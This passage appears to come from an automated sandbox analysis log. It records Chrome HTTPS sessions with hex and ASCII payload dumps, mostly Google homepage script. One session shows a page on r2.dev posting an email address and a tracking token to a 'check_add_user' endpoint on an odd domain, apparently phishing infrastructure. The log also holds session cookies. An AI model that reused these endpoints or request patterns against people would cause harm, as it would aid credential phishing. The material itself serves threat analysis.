g;b=window.innerHeight\|\|document.documentElement.clientHeight;m+f<0?g=2:m>=b&&(g=4);if(k+n
2024-10-07 18:59:32 UTC	1390	IN	Data Raw: 3a 62 7c 7c 78 26 26 74 68 69 73 2e 69 7c 7c 74 68 69 73 2e 6a 7c 7c 74 68 69 73 2e 6c 3f 62 3d 21 31 3a 28 62 3d 74 68 69 73 2e 67 2e 73 72 63 2c 62 3d 74 79 70 65 6f 66 20 62 21 3d 3d 22 73 74 72 69 6e 67 22 7c 7c 21 62 2c 61 3d 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 22 29 2c 62 3d 0a 61 21 3d 3d 6e 75 6c 6c 3f 61 3d 3d 3d 22 31 22 3a 62 7c 7c 74 68 69 73 2e 67 2e 63 6f 6d 70 6c 65 74 65 29 3b 74 68 69 73 2e 41 3d 62 3b 78 7c 7c 74 68 69 73 2e 41 7c 7c 74 68 69 73 2e 69 7c 7c 45 28 74 68 69 73 29 3b 77 26 26 21 63 26 26 46 28 74 68 69 73 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 72 6c 6c 28 61 2e 67 2c 21 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 47 28 61 2c 44 61 74 65 2e 6e 6f Data Ascii: :b\|\|x&&this.i\|\|this.j\|\|this.l?b=!1:(b=this.g.src,b=typeof b!=="string"\|\|!b,a=this.g.getAttribute("data-cmp"),b=a!==null?a==="1":b\|\|this.g.complete);this.A=b;x\|\|this.A\|\|this.i\|\|E(this);w&&!c&&F(this)},E=function(a){google.rll(a.g,!0,function(){G(a,Date.no
2024-10-07 18:59:32 UTC	1390	IN	Data Raw: 22 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 49 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b 7d 2c 6d 3a 7b 7d 7d 7d 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 7c 7c 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 28 61 29 3b 63 3d 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 44 Data Ascii: ")){var b=Date.now();G(I(a,void 0,!0,!0),b)}}function K(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{},m:{}}};google.tick=function(a,b,c){google.timers[a]\|\|google.startTick(a);c=c!==void 0?c:D
2024-10-07 18:59:32 UTC	1390	IN	Data Raw: 65 72 73 2e 6c 6f 61 64 2e 74 2e 73 74 61 72 74 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 73 74 61 72 74 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 29 7b 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 61 3b 76 61 72 20 62 3b 74 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 61 29 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 66 68 74 22 2c 62 29 3b 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 51 28 61 29 7b 50 28 61 2e 74 69 6d 65 53 74 61 6d 70 29 26 26 43 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 7d 67 6f 6f 67 6c 65 2e 63 2e 66 Data Ascii: ers.load.t.start=google.stvsc.start;function P(a){if(document.visibilityState==="hidden"){google.c.fh=a;var b;t&&(b=Math.floor(t+a));google.tick("load","fht",b);return!0}return!1}function Q(a){P(a.timeStamp)&&C(document,"visibilitychange",Q,!0)}google.c.f
2024-10-07 18:59:32 UTC	128	IN	Data Raw: 72 74 21 3d 3d 76 6f 69 64 20 30 26 26 28 63 2e 77 73 72 74 3d 62 2e 77 73 72 74 29 3b 69 66 28 68 29 66 6f 72 28 76 61 72 20 6b 3d 30 2c 6d 3b 6d 3d 75 61 5b 6b 2b 2b 5d 3b 29 7b 76 61 72 20 6e 3d 65 5b 6d 5d 3b 6e 26 26 28 63 5b 6d 5d 3d 4d 61 74 68 2e 6d 61 78 28 6e 2d 68 2c 30 29 29 7d 64 3e 30 26 26 28 63 2e 67 73 61 73 72 74 3d 62 2e 74 2e 73 74 61 72 74 2d 64 29 3b 62 0d 0a Data Ascii: rt!==void 0&&(c.wsrt=b.wsrt);if(h)for(var k=0,m;m=ua[k++];){var n=e[m];n&&(c[m]=Math.max(n-h,0))}d>0&&(c.gsasrt=b.t.start-d);b
2024-10-07 18:59:32 UTC	211	IN	Data Raw: 63 64 0d 0a 3d 62 2e 65 3b 61 3d 22 2f 67 65 6e 5f 32 30 34 3f 73 3d 22 2b 67 6f 6f 67 6c 65 2e 73 6e 2b 22 26 74 3d 22 2b 61 2b 22 26 61 74 79 70 3d 63 73 69 26 65 69 3d 22 2b 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 26 72 74 3d 22 3b 64 3d 22 22 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 63 29 61 2b 3d 22 22 2b 64 2b 66 2b 22 2e 22 2b 63 5b 66 5d 2c 64 3d 22 2c 22 3b 66 6f 72 28 76 61 72 20 67 20 69 6e 20 62 29 61 2b 3d 22 26 22 2b 67 2b 22 3d 22 2b 62 5b 67 5d 3b 66 3d 61 3b 67 3d 22 22 3b 61 3d 5b 5d 3b 70 2e 5f 63 73 68 69 64 26 26 0a 61 2e 70 75 73 68 28 5b 22 63 73 68 69 64 22 2c 70 2e 5f 63 73 68 69 64 5d 29 3b 62 3d 0d 0a Data Ascii: cd=b.e;a="/gen_204?s="+google.sn+"&t="+a+"&atyp=csi&ei="+google.kEI+"&rt=";d="";for(var f in c)a+=""+d+f+"."+c[f],d=",";for(var g in b)a+="&"+g+"="+b[g];f=a;g="";a=[];p._cshid&&a.push(["cshid",p._cshid]);b=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	49806	142.250.186.36	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:33 UTC	615	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
2024-10-07 18:59:33 UTC	1201	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:33 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-9uGZz_l5MQnSktgNv85JJg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-07 18:59:33 UTC	189	IN	Data Raw: 32 37 33 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f Data Ascii: 273c<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/goo
2024-10-07 18:59:33 UTC	1390	IN	Data Raw: 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e 47 6f 6f 67 6c 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 39 75 47 5a 7a 5f 6c 35 4d 51 6e 53 6b 74 67 4e 76 38 35 4a 4a 67 22 3e 77 69 6e 64 6f 77 2e 5f 68 73 74 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 22 53 65 61 72 63 68 48 65 61 64 53 74 61 72 74 22 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 39 75 47 5a 7a 5f 6c 35 4d 51 6e 53 6b 74 67 4e 76 38 35 4a 4a 67 Data Ascii: gleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="9uGZz_l5MQnSktgNv85JJg">window._hst=Date.now();performance&&performance.mark&&performance.mark("SearchHeadStart");</script><script nonce="9uGZz_l5MQnSktgNv85JJg
2024-10-07 18:59:33 UTC	1390	IN	Data Raw: 22 29 2b 22 3f 61 74 79 70 3d 69 26 63 74 3d 22 2b 53 74 72 69 6e 67 28 61 29 2b 22 26 63 61 64 3d 22 2b 28 62 2b 65 2b 64 29 7d 3b 6d 3d 67 6f 6f 67 6c 65 2e 6b 45 49 3b 67 6f 6f 67 6c 65 2e 67 65 74 45 49 3d 70 3b 67 6f 6f 67 6c 65 2e 67 65 74 4c 45 49 3d 71 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 6b 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 6c 3a 65 3b 63 7c 7c 28 63 3d 74 28 61 2c 62 2c 65 2c 64 2c 6b 29 29 3b 69 66 28 63 3d 72 28 63 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 67 3d 6e 2e 6c 65 6e 67 74 68 3b 6e 5b 67 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 Data Ascii: ")+"?atyp=i&ct="+String(a)+"&cad="+(b+e+d)};m=google.kEI;google.getEI=p;google.getLEI=q;google.ml=function(){return null};google.log=function(a,b,c,d,k,e){e=e===void 0?l:e;c\|\|(c=t(a,b,e,d,k));if(c=r(c)){a=new Image;var g=n.length;n[g]=a;a.onerror=a.onload
2024-10-07 18:59:33 UTC	1390	IN	Data Raw: 6c 65 6d 65 6e 74 29 69 66 28 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 41 22 29 7b 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 68 72 65 66 22 29 3d 3d 3d 22 31 22 3b 62 72 65 61 6b 20 61 7d 61 3d 21 31 7d 61 26 26 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 2c 21 30 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 68 73 3d 7b 68 3a 74 72 75 65 2c 6e 68 73 3a 66 61 6c 73 65 2c 73 69 65 3a 66 61 6c 73 65 7d 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 63 3d 7b 62 74 66 69 3a 66 61 6c 73 65 2c 63 34 74 3a 74 72 75 65 2c 63 61 66 3a 66 61 6c 73 65 2c 63 61 70 3a 32 30 30 30 2c 63 66 72 3a 66 61 6c 73 65 2c 63 6c 69 3a 74 72 75 65 2c Data Ascii: lement)if(a.tagName==="A"){a=a.getAttribute("data-nohref")==="1";break a}a=!1}a&&b.preventDefault()},!0);}).call(this);(function(){google.hs={h:true,nhs:false,sie:false};})();(function(){google.c={btfi:false,c4t:true,caf:false,cap:2000,cfr:false,cli:true,
2024-10-07 18:59:33 UTC	1390	IN	Data Raw: 3d 3d 22 30 70 78 22 29 29 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 61 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 68 3d 65 28 61 29 2c 6b 3d 68 2e 6c 65 66 74 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 29 2c 6d 3d 68 2e 74 6f 70 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 29 2c 6e 3d 68 2e 77 69 64 74 68 2c 66 3d 68 2e 68 65 69 67 68 74 2c 67 3d 30 3b 69 66 28 21 62 26 26 66 3c 3d 30 26 26 6e 3c 3d 30 29 72 65 74 75 72 6e 20 67 3b 62 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 6d 2b 66 3c 30 3f 67 3d 32 3a 6d 3e 3d 62 26 26 28 67 3d 34 29 3b 69 66 28 6b 2b 6e Data Ascii: =="0px")):!1}function ea(a,b,c,d,e){var h=e(a),k=h.left+(c?0:window.pageXOffset),m=h.top+(c?0:window.pageYOffset),n=h.width,f=h.height,g=0;if(!b&&f<=0&&n<=0)return g;b=window.innerHeight\|\|document.documentElement.clientHeight;m+f<0?g=2:m>=b&&(g=4);if(k+n
2024-10-07 18:59:33 UTC	1390	IN	Data Raw: 3a 62 7c 7c 78 26 26 74 68 69 73 2e 69 7c 7c 74 68 69 73 2e 6a 7c 7c 74 68 69 73 2e 6c 3f 62 3d 21 31 3a 28 62 3d 74 68 69 73 2e 67 2e 73 72 63 2c 62 3d 74 79 70 65 6f 66 20 62 21 3d 3d 22 73 74 72 69 6e 67 22 7c 7c 21 62 2c 61 3d 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 22 29 2c 62 3d 0a 61 21 3d 3d 6e 75 6c 6c 3f 61 3d 3d 3d 22 31 22 3a 62 7c 7c 74 68 69 73 2e 67 2e 63 6f 6d 70 6c 65 74 65 29 3b 74 68 69 73 2e 41 3d 62 3b 78 7c 7c 74 68 69 73 2e 41 7c 7c 74 68 69 73 2e 69 7c 7c 45 28 74 68 69 73 29 3b 77 26 26 21 63 26 26 46 28 74 68 69 73 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 72 6c 6c 28 61 2e 67 2c 21 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 47 28 61 2c 44 61 74 65 2e 6e 6f Data Ascii: :b\|\|x&&this.i\|\|this.j\|\|this.l?b=!1:(b=this.g.src,b=typeof b!=="string"\|\|!b,a=this.g.getAttribute("data-cmp"),b=a!==null?a==="1":b\|\|this.g.complete);this.A=b;x\|\|this.A\|\|this.i\|\|E(this);w&&!c&&F(this)},E=function(a){google.rll(a.g,!0,function(){G(a,Date.no
2024-10-07 18:59:33 UTC	1390	IN	Data Raw: 22 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 49 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b 7d 2c 6d 3a 7b 7d 7d 7d 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 7c 7c 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 28 61 29 3b 63 3d 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 44 Data Ascii: ")){var b=Date.now();G(I(a,void 0,!0,!0),b)}}function K(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{},m:{}}};google.tick=function(a,b,c){google.timers[a]\|\|google.startTick(a);c=c!==void 0?c:D
2024-10-07 18:59:33 UTC	1390	IN	Data Raw: 65 72 73 2e 6c 6f 61 64 2e 74 2e 73 74 61 72 74 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 73 74 61 72 74 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 29 7b 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 61 3b 76 61 72 20 62 3b 74 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 61 29 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 66 68 74 22 2c 62 29 3b 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 51 28 61 29 7b 50 28 61 2e 74 69 6d 65 53 74 61 6d 70 29 26 26 43 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 7d 67 6f 6f 67 6c 65 2e 63 2e 66 Data Ascii: ers.load.t.start=google.stvsc.start;function P(a){if(document.visibilityState==="hidden"){google.c.fh=a;var b;t&&(b=Math.floor(t+a));google.tick("load","fht",b);return!0}return!1}function Q(a){P(a.timeStamp)&&C(document,"visibilitychange",Q,!0)}google.c.f
2024-10-07 18:59:33 UTC	133	IN	Data Raw: 72 74 21 3d 3d 76 6f 69 64 20 30 26 26 28 63 2e 77 73 72 74 3d 62 2e 77 73 72 74 29 3b 69 66 28 68 29 66 6f 72 28 76 61 72 20 6b 3d 30 2c 6d 3b 6d 3d 75 61 5b 6b 2b 2b 5d 3b 29 7b 76 61 72 20 6e 3d 65 5b 6d 5d 3b 6e 26 26 28 63 5b 6d 5d 3d 4d 61 74 68 2e 6d 61 78 28 6e 2d 68 2c 30 29 29 7d 64 3e 30 26 26 28 63 2e 67 73 61 73 72 74 3d 62 2e 74 2e 73 74 61 72 74 2d 64 29 3b 62 3d 62 2e 65 3b 0d 0a Data Ascii: rt!==void 0&&(c.wsrt=b.wsrt);if(h)for(var k=0,m;m=ua[k++];){var n=e[m];n&&(c[m]=Math.max(n-h,0))}d>0&&(c.gsasrt=b.t.start-d);b=b.e;
2024-10-07 18:59:33 UTC	308	IN	Data Raw: 31 32 64 0d 0a 61 3d 22 2f 67 65 6e 5f 32 30 34 3f 73 3d 22 2b 67 6f 6f 67 6c 65 2e 73 6e 2b 22 26 74 3d 22 2b 61 2b 22 26 61 74 79 70 3d 63 73 69 26 65 69 3d 22 2b 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 26 72 74 3d 22 3b 64 3d 22 22 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 63 29 61 2b 3d 22 22 2b 64 2b 66 2b 22 2e 22 2b 63 5b 66 5d 2c 64 3d 22 2c 22 3b 66 6f 72 28 76 61 72 20 67 20 69 6e 20 62 29 61 2b 3d 22 26 22 2b 67 2b 22 3d 22 2b 62 5b 67 5d 3b 66 3d 61 3b 67 3d 22 22 3b 61 3d 5b 5d 3b 70 2e 5f 63 73 68 69 64 26 26 0a 61 2e 70 75 73 68 28 5b 22 63 73 68 69 64 22 2c 70 2e 5f 63 73 68 69 64 5d 29 3b 62 3d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 21 3d 3d 76 6f 69 64 20 Data Ascii: 12da="/gen_204?s="+google.sn+"&t="+a+"&atyp=csi&ei="+google.kEI+"&rt=";d="";for(var f in c)a+=""+d+f+"."+c[f],d=",";for(var g in b)a+="&"+g+"="+b[g];f=a;g="";a=[];p._cshid&&a.push(["cshid",p._cshid]);b=window.google!==void 0&&window.google.kOPI!==void

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49808	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:37 UTC	751	OUT	POST /check_add_user/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive Content-Length: 77 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:37 UTC	77	OUT	Data Raw: 65 6d 61 69 6c 3d 64 73 79 68 72 65 25 34 30 6f 6c 67 6f 6f 6e 69 6b 2e 63 6f 6d 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 53 48 41 5a 4f 52 4e 76 6d 35 4f 6d 6e 57 45 33 26 73 6c 75 67 3d 63 68 65 63 6b 5f 61 64 64 5f 75 73 65 72 Data Ascii: email=dsyhre%40olgoonik.com&NAMEOFTHEGUY=SHAZORNvm5OmnWE3&slug=check_add_user
2024-10-07 18:59:37 UTC	711	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:37 GMT Content-Type: application/json Content-Length: 18 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PGBun4XnQ7N3dJu8OeVXT%2F5l7k7%2BCHy7ePgiKrIV3YzKy010bg%2Fm4w0vPTNS118s%2BNiXcn3SJZs5SpmuiqSMrOlvC%2BuGihsWzOUPFBBOIYKbpMXjYtZfPWPRGae%2B8GWXbu9AJjyz0R1LOAg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0211fae5843fe-EWR
2024-10-07 18:59:37 UTC	18	IN	Data Raw: 7b 22 64 6f 6e 65 22 3a 20 22 6e 6f 74 79 65 74 22 7d Data Ascii: {"done": "notyet"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49810	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:38 UTC	363	OUT	GET /check_add_user/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:38 UTC	765	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 18:59:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5F6yEuSYpw3bzyW1Am%2FzT1XM58m31EVR4lOoQ5UFTS75Gv%2B06u%2FNM9haBufuSn7eJxMNvu7v8x6d5HNJ2dityZyqCXR5hF5CWM4Scirx62Er4a4Jvk7xxji48f7WJF0FQyNjE3xa0mi294o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf02124dd800c84-EWR
2024-10-07 18:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49811	142.250.186.36	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:39 UTC	615	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
